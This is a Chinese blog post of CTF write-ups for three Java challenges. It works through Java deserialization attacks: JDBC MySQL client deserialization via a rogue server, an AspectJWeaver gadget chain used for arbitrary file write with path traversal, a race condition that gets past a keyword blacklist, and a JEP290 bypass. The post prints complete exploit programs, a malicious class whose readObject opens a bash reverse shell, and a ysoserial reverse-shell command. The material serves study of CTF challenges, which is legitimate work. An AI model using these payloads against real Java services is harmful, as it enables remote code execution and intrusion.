首发自i春秋论坛,转载到个人博客
Contents
前言
近期跟着复现了部分java的CTF题,学习了很多新知识和利用手段,因此在这里分享一下每个题的考点和解题思路。
2020 羊城杯 a piece of java
将给定的jar包导入后直接进行代码审计
代码审计
public class MainController {
public MainController() {
}
@GetMapping({"/index"})
public String index(@CookieValue(value = "data",required = false) String cookieData) {
return cookieData != null && !cookieData.equals("") ? "redirect:/hello" : "index";
}
@PostMapping({"/index"})
public String index(@RequestParam("username") String username, @RequestParam("password") String password, HttpServletResponse response) {
UserInfo userinfo = new UserInfo();
userinfo.setUsername(username);
userinfo.setPassword(password);
Cookie cookie = new Cookie("data", this.serialize(userinfo));
cookie.setMaxAge(2592000);
response.addCookie(cookie);
return "redirect:/hello";
}
@GetMapping({"/hello"})
public String hello(@CookieValue(value = "data",required = false) String cookieData, Model model) {
if (cookieData != null && !cookieData.equals("")) {
Info info = (Info)this.deserialize(cookieData);
if (info != null) {
model.addAttribute("info", info.getAllInfo());
}
return "hello";
} else {
return "redirect:/index";
}
}
private String serialize(Object obj) {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try {
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
} catch (Exception var4) {
var4.printStackTrace();
return null;
}
return new String(Base64.getEncoder().encode(baos.toByteArray()));
}
private Object deserialize(String base64data) {
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));
try {
ObjectInputStream ois = new SerialKiller(bais, "serialkiller.conf");
Object obj = ois.readObject();
ois.close();
return obj;
} catch (Exception var5) {
var5.printStackTrace();
return null;
}
}
}
当看到MainController
重写了一个大大的deserialize
方法时,大致能够判断是考察java的反序列化,简单看一下逻辑,index
路由接受传递过来的username
和password
方法,并且由此构造了一个userinfo
类,将该类的序列化后的数据base64作为cookie,而反序列化时则进行逆向操作,进行反序列化,因此我们在此也就顺理找到了反序列化点,即我们可以任意修改cookie:data
,会进行反序列化操作
这里可能会想,如果导入了存在Gadget Chains
的包,那只需要ysoserial
生成一个payload
,就应该完事了,因此顺着这个思路,我们不妨去看一下pom.xml
xml=
4.0.0
org.springframework.boot
spring-boot-starter-parent
2.3.2.RELEASE
gdufs.challenge
web
0.0.1-SNAPSHOT
challenge
Easy Java Challenge
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
<exclusions>
<exclusion>
<groupId>org.junit.vintage</groupId>
<artifactId>junit-vintage-engine</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.nibblesec</groupId>
<artifactId>serialkiller</artifactId>
<version>3.0</version>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.19</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
这里对`serialkiller`不是特别熟悉,于是搜索了一下,发现这是一个能够控制反序列化类的工具类,通过设置黑白名单去限制反序列化,但是在查看`serialkiller`的`pom.xml`时发现其依赖于CC3.2.2版本

既然能够yso一把梭,而且有反序列化的执行点,那何不直接yso构造个payload一把梭了?这里`serialkiller`就是设置了白名单:

看到只允许反序列化gduf和java.lang下的类,而CC用到的不是这俩个之下,因此这一条路就被阻塞了。
再来看
```java
@GetMapping({"/hello"})
public String hello(@CookieValue(value = "data",required = false) String cookieData, Model model) {
if (cookieData != null && !cookieData.equals("")) {
Info info = (Info)this.deserialize(cookieData);
if (info != null) {
model.addAttribute("info", info.getAllInfo());
}
return "hello";
} else {
return "redirect:/index";
}
}
这里将反序列化的数据类型转换为Info
接口类,而在jar包中存在DatabaseInfo
和userInfo
两个类,并且这两个类都实现了Info
接口类,并且是使用了动态代理,代理Info类:
public class InfoInvocationHandler implements InvocationHandler, Serializable {
private Info info;
public InfoInvocationHandler(Info info) {
this.info = info;
}
public Object invoke(Object proxy, Method method, Object[] args) {
try {
return method.getName().equals("getAllInfo") && !this.info.checkAllInfo() ? null : method.invoke(this.info, args);
} catch (Exception var5) {
var5.printStackTrace();
return null;
}
}
}
当使用代理类代理Info时,还存在前置方法,即调用代理对象的getAllInfo
方法,UserInfo
类没有可以利用的方法,我们来看一下DatabaseInfo
类:
private void connect() {
String url = "jdbc:mysql://" + this.host + ":" + this.port + "/jdbc?user=" + this.username + "&password=" + this.password + "&connectTimeout=3000&socketTimeout=6000";
try {
this.connection = DriverManager.getConnection(url);
} catch (Exception var3) {
var3.printStackTrace();
}
}
public Boolean checkAllInfo() {
if (this.host != null && this.port != null && this.username != null && this.password != null) {
if (this.connection == null) {
this.connect();
}
return true;
} else {
return false;
}
}
可以看到当调用checkAllInfo()
时会调用connect
方法,会实现jdbc的连接,而jdbc客户端能够实现反序列化,可以参考
https://www.anquanke.com/post/id/203086
解题思路
既然DatabaseInfo
和UserInfo
都实现Info
接口类,我们便可以构造DatabaseInfo
类,并且利用动态代理,这样通过cookie实现反序列化时会触发动态代理的前置方法checkAllInfo()
实现jdbc的连接,从而实现mysql客户端的反序列化,而此时便没有serialkiller
工具类的限制,我们便能利用构造好的CC链的payload进行反序列化实现RCE
分步进行描述:
String username = "yso_URLDNS_http://hud0xf.ceye.io";
DatabaseInfo databaseInfo = new DatabaseInfo();
databaseInfo.setHost("xx.xx.xx.xx");//恶意客户端IP
databaseInfo.setPort("3306");
databaseInfo.setUsername(username);
//先利用URLDNS来检测是否成功
databaseInfo.setPassword("123&allowLoadLocalInfile=true&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
因为这里由于是MYSQL 8的版本,因而实现ServerStatusDiffInterceptor触发
我们使用的连接串如下:
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
注意这里由于是直接拼接,因此可以在jdbc后设置一系列参数,而对应能够实现mysql 8 反序列化的则是如上的连接串参数
构造好DatabaseInfo
类后,还需要利用动态代理来代理该类,这样才会触发前置方法checkAllInfo()
实现jdbc反序列化
ClassLoader classLoader = databaseInfo.getClass().getClassLoader();
Class[] interfaces = databaseInfo.getClass().getInterfaces();
InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseInfo);
设置好动态代理后,我们只需要在通过代理生成Info
类将其序列化后的数据进行base64输出即可:
Info proxy = (Info) Proxy.newProxyInstance(classLoader,interfaces,infoInvocationHandler);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(proxy);
oos.flush();
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
因此整个的EXP也就完成了:
import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.util.Base64;
public class a_piece_of_java {
public static void main(String[] args) throws IOException {
//设置好DatabaseInfo类的相关属性以实现jdbc反序列化
String username = "yso_URLDNS_http://hud0xf.ceye.io";
DatabaseInfo databaseInfo = new DatabaseInfo();
databaseInfo.setHost("xx.xx.xx.xx");
databaseInfo.setPort("3306");
databaseInfo.setUsername(username);
//利用CC5的Gadget Chains进行攻击
databaseInfo.setPassword("123&allowLoadLocalInfile=true&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
//将DataBaseInfo实例,封装进Proxy类 使用动态代理
ClassLoader classLoader = databaseInfo.getClass().getClassLoader();
Class[] interfaces = databaseInfo.getClass().getInterfaces();
InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseInfo);
Info proxy = (Info) Proxy.newProxyInstance(classLoader,interfaces,infoInvocationHandler);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(proxy);
oos.flush();
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
}
}
将生成好的payload发送,并运行恶意客户端:

可以看到DNS成功记录解析情况:

因此在构造一个反弹shell的payload即可:

yso_CommonsCollections5_bash -c {echo,反弹shell的base64}|{base64,-d}|{bash,-i}
MySQL5.1都支持读取本地文件,但是在读取时,jdbcURL需要加上配置allowLoadLocalInfile=true
,然后利用MySQL_Fake_Server
进行读取
,但是当MySQL中系统变量local-infile=0
时表示不允许本地加载数据,此时无法进行文件读取,但是在本题中可以进行文件读取
D3CTF non_RCE?
这个题和上面那个题比较像,比赛过程中卡在了不会饶autoDeserialize
,赛后才知道,之前一直在试垃圾字符绕过…赛后看了各位大佬wp后也学习一下解题思路
代码分析
主要分为AdminServlet
和HelloServlet
,这里HelloServlet
没有什么利用之处,看下AdminServlet
的代码:
@WebServlet(
name = "AdminServlet",
urlPatterns = {"/admin/*"}
)
public class AdminServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
if (req.getRequestURI().startsWith("/admin/importData")) {
AttackerLogger.getLogger().log(Level.INFO,req.getRemoteAddr()+" phase2, requestURI="+req.getRequestURI());
String databaseType = req.getParameter("databaseType");
String jdbcUrl = req.getParameter("jdbcUrl");
if (databaseType == null || jdbcUrl == null) {
outputResponse(resp, "The parameter databaseType or jdbcUrl can not be null!");
return;
}
if (!BlackListChecker.check(jdbcUrl)) {
System.out.println("detect attacking!");
resp.sendError(HttpServletResponse.SC_BAD_REQUEST, "The jdbc url contains illegal character!");
return;
}
try {
if (("mysql").equals(databaseType)) {
AttackerLogger.getLogger().log(Level.INFO,req.getRemoteAddr()+" phase3, jdbcUrl="+jdbcUrl);
DriverManager.setLoginTimeout(5);
Class.forName("com.mysql.jdbc.Driver");
DriverManager.getConnection(jdbcUrl);
outputResponse(resp, "ok");
}
} catch (Exception e) {
outputResponse(resp, "The jdbc url " + jdbcUrl + " connects error.");
}
}
}
private void outputResponse(HttpServletResponse resp, String output) throws IOException {
ServletOutputStream out = resp.getOutputStream();
out.write(output.getBytes());
out.flush();
out.close();
}
}
可以看到当路由满足/admin/importData
,并且get传入的参数databaseType
为mysql
时,会进行jdbc的连接,并且jdbcURL是可控的,因此同样是考察jdbc客户端反序列化的知识点,在这里使用了WebFilter
@WebFilter 用于将一个类声明为过滤器,该注解将会在部署时被容器处理,容器将根据具体的属性配置将相应的类部署为过滤器。
而一般会存在web.xml
或者webconfig来说明filter
的优先级,如果没有优先级,则会按照默认的A-Z顺序来进行部署执行,因此在这里执行的顺序是:
1.AntiCsrfAttackFilter
2.AntiUrlAttackFilter
3.AntiXssAttackFilter
4.LogFilter
5.LoginFilter
6.NoCacheFilter
其中对题目比较关键的也就是2和5,先来看一下LoginFilter
的规则:
/**
* Alipay.com Inc. Copyright (c) 2004-2021 All Rights Reserved.
*/
package non_RCE.src.main.java.filter;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
/**
*
* @author fantasyC4t
* @version : AdminFilter.java, v 0.1 2021年03月01日 7:18 下午 fantasyC4t Exp $
*/
@WebFilter(
filterName = "LoginFilter",
urlPatterns = {"/admin/*"}
)
public class LoginFilter implements Filter {
//The true password has being removed from the source code for security.
private static final String PASSWORD = "";
@Override
public void init(FilterConfig var1) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)
throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse res = (HttpServletResponse) servletResponse;
String password = req.getParameter("password");
if (password == null) {
res.sendError( HttpServletResponse.SC_UNAUTHORIZED, "The password can not be null!");
return;
}
try {
//you can't get this password forever, because the author has forgotten it.
if (password.equals(PASSWORD)) {
filterChain.doFilter(servletRequest, servletResponse);
} else {
res.sendError(HttpServletResponse.SC_UNAUTHORIZED, "The password is not correct!");
}
} catch (Exception e) {
res.sendError( HttpServletResponse.SC_BAD_REQUEST, "Oops!");
}
}
@Override
public void destroy() {
}
}
这里匹配的路由是/admin/
后的所有路径,自然包括WebServlet
中的/admin/importData
,因此想要访问该路由就必须要有username和password,而这些都是未知的,这样就形成了矛盾:
我们要访问/admin/importData
.而访问该理由需要username和password,而这些我们不知道,在这里AntiUrlAttackFilter
便起到了作用:

这里对url中某些符号进行处理后,直接转发到了目标路由,并不会再经过后续WebFilter
的处理。因此构造/;admin/importData
,这样经过urlfilter后变成/admin/importData
,直接转发到对应路由,成功绕过了LoginFilter
的限制
条件竞争绕过
从pom.xml
得知Mysql版本为5.1.48,因此如果要实现反序列化,使用的连接串为:
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
而在BlackListChecker
中可以看到:

对该jdbc url进行黑名单检查,当其中出现%或autoDeserialize时则会进行拦截,那么现在遇到的问题是:
1. 需要通过设置autoDeserialize=true来开启反序列化
2. 黑名单不允许autoDeserialize的出现
这里采取的是使用条件竞争的办法,具体可以参考梅子酒大师傅所述:
https://mp.weixin.qq.com/s/GxFFBekqSl5BOnzAKFGBDQ
这样一来,当恶意的jdbcUrl被绑定后。本来要进行check
但接着马上有线程来一个正常的jdbcUrl,而只有一个实例,这时候会过了check,实例并不会进行拦截,因此恶意的jdbcUrl也得以继续执行
Gadget Chain分析
既然能够进行反序列化,因此就要去寻找对应的Gadget Chains
,这里直接从pom.xml
来寻找答案:

没记错的话,新版的ysoserial是更新过一条
AspectJWeave
链子的,并且对应版本就是1.9.2
那应该锁定就是这条链子了,这里先对这条链子进行分析,这条链子依赖于CC3.2.2,但是环境里并没有依赖CC,我们先看一下
ysoserial
更新的这条链子的调用链:
/*
Gadget chain:
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()
关于该链的分析可以参考:
https://xz.aliyun.com/t/9168?page=1
在这里从HashSet.readObject()->LazyMap.get()
这一段链子都是依赖于CC环境的,而后面则是通过org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#writeToPath
进行任意文件写操作:

而在
org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#put
中调用了writeToPath,因此如果反序列化可以触发put方法,就可以进行文件写的操作
而给定文件中给出了DataMap
类,这个类可以提供构造Gadget的功能,下面进行分析:
HashSet.readObject()
HashMap.put()
HashMap.hash()
入口点在于HashSet中的readObject()

s就是我们的恶意序列化对象,接着调用
HashMap
的put方法:
这里的key就是恶意的对象,调用HashMap的Hash方法

如果这里传入的恶意对象是题目中提供的DataMap,则会调用Datamap.hashCode()
方法:
public int hashCode() {
return DataMap$Entry.hash(this.getKey()) ^ DataMap.hash(this.getValue());
}
调用DataMap$Entry.getValue()
方法:

再来看get()方法,此时也就很明显了:

这里当this.values设置为SimpleCache$StorableCachingMap
时就会调用SimpleCache$StorableCachingMap.put
方法,而后续就和ysoserial
更新的链一致,并且key是文件名,v是文件的内容
如果this.values!=null,从this.values.get(key)通过this.values的get方法根据key来获取内容。
这里this.values设置为SimpleCache类,那么调用SimpleCache.get()方法获取内容

这里的key因为是我们想写入的文件名,调用父类的get()方法,找不到我们自定义的类则会返回false,于是

内容通过
this.wrapperMap.get(key)
获得,而wrapperMap就是HashMap,因此我们只需在构造方法构造一个hashmap,键名为文件名而键值对应的是文件内容即可写入,照着原链exp修改:
public class exp {
public static void main(String[] args) throws Exception {
String filename = "";
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);
HashMap wrappermap = new HashMap();
wrappermap.put(filename,"content");
DataMap dataMap = new DataMap(wrappermap,(Map)simpleCache);
}
}
对应的Gadget Chain
为:
HashSet.readObject()
HashMap.put()
HashMap.hash()
DataMap$Entry.hashcode
DataMap$Entry.getValue()
DataMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()
实现RCE
利用该GadgetChain结合jdbc反序列化可以向目标机器ClassPath中写入Crispr.class,是一个重写恶意代码的readObject()方法的恶意类字节码,在配合jdbc发送一个恶意类,因此当恶意类实现反序列化时就会在ClassPath中找对应的class,触发readObject方法
恶意类:
package non_RCE.src.main.java.launch;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
public class evil implements Serializable {
private String evil;
public evil() {
this.evil = "Crispr";
}
public void writeObject(ObjectOutputStream o) throws IOException {
o.defaultWriteObject();
}
public void readObject(ObjectInputStream o) throws IOException, ClassNotFoundException {
o.defaultReadObject();
Runtime.getRuntime().exec("/bin/bash -c {echo,xxx}|{base64,-d}|{bash,-i}");
}
}
exp:
package non_RCE.src.main.java.launch;
import non_RCE.src.main.java.checker.DataMap;
import ysoserial.payloads.util.Reflections;
import java.io.File;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class exp {
public static void main(String[] args) throws Exception {
String filename = "../../../../../../../../object.class";
byte[] content_byte = Files.readAllBytes(new File("C:\\object.class").toPath());
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);
//通过反射构造好DataMap类,并且wrappermap键名为恶意类名,键值为恶意类的内容即可
HashMap wrappermap = new HashMap();
wrappermap.put(filename,content_byte);
DataMap dataMap = new DataMap(wrappermap,(Map)simpleCache);
//通过反射获得DataMap的内置类Entry,因为入口是Entru类的hashCode方法
Constructor entryDataMapctor = Reflections.getFirstCtor("non_RCE.src.main.java.checker.DataMap$Entry");
entryDataMapctor.setAccessible(true);
//实现构造方法,传入key filename ,this.key=filename
Object entryDataMap = entryDataMapctor.newInstance(dataMap,filename);
//照搬ysoserial
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException var21) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap)f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException var20) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[])((Object[])f2.get(innimpl));
Object node = array[0];
if (node == null) {
node = array[1];
}
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception var19) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entryDataMap);
//照搬完成后,先将map写入到object.obj,用于反序列化写入exp.class到ClassPath
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
oos.writeObject(map);
oos.flush();
oos.close();
evil evil = new evil();
//分别两次修改MySQL_Fake_Server-master传输的数据为object.obj和evil.obj
ObjectOutputStream oos1 = new ObjectOutputStream(new FileOutputStream("evil.obj"));
oos1.writeObject(evil);
oos1.flush();
oos1.close();
}
}
d3CTF pool_calc java部分
考察jdk8u231之前对JEP290的绕过,题目版本为JDK8u221,因此存在JEP290的限制,这里能够控制RMI服务器,对注册中心发起攻击,让注册中心反序列化UnicastRef这个类,该类可以发起一个JRMP连接到恶意服务端上,从而在DGC层造成一个反序列化以绕过JEP290,攻击的Gadget Chain
还是选取CC5即可
可以参考:
https://github.com/lalajun/RMIDeserialize/tree/master/RMI-Server
https://blog.csdn.net/weixin_45728976/article/details/107589544
这里本地起一个包含CC链可以被攻击的RMI服务,然后本地在起一个ysoserial.exploit.JRMPListener自实现的JRMP服务器,通过RMI-Bypass290.jar
实现攻击,具体分析就不跟进了,以后慢慢补上。

总结
学习了很多姿势和原理,对于java安全的学习还需要大量的积累,理解漏洞原理,包括反序列化原理还不够,还要多去复现各种CVE和有关java的题目,自己动手写exp和学习解题步骤才会更加的了解,还需要注重java底层原理的实现和基础
参考链接:
https://mp.weixin.qq.com/s/GxFFBekqSl5BOnzAKFGBDQ
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/AspectJWeaver.java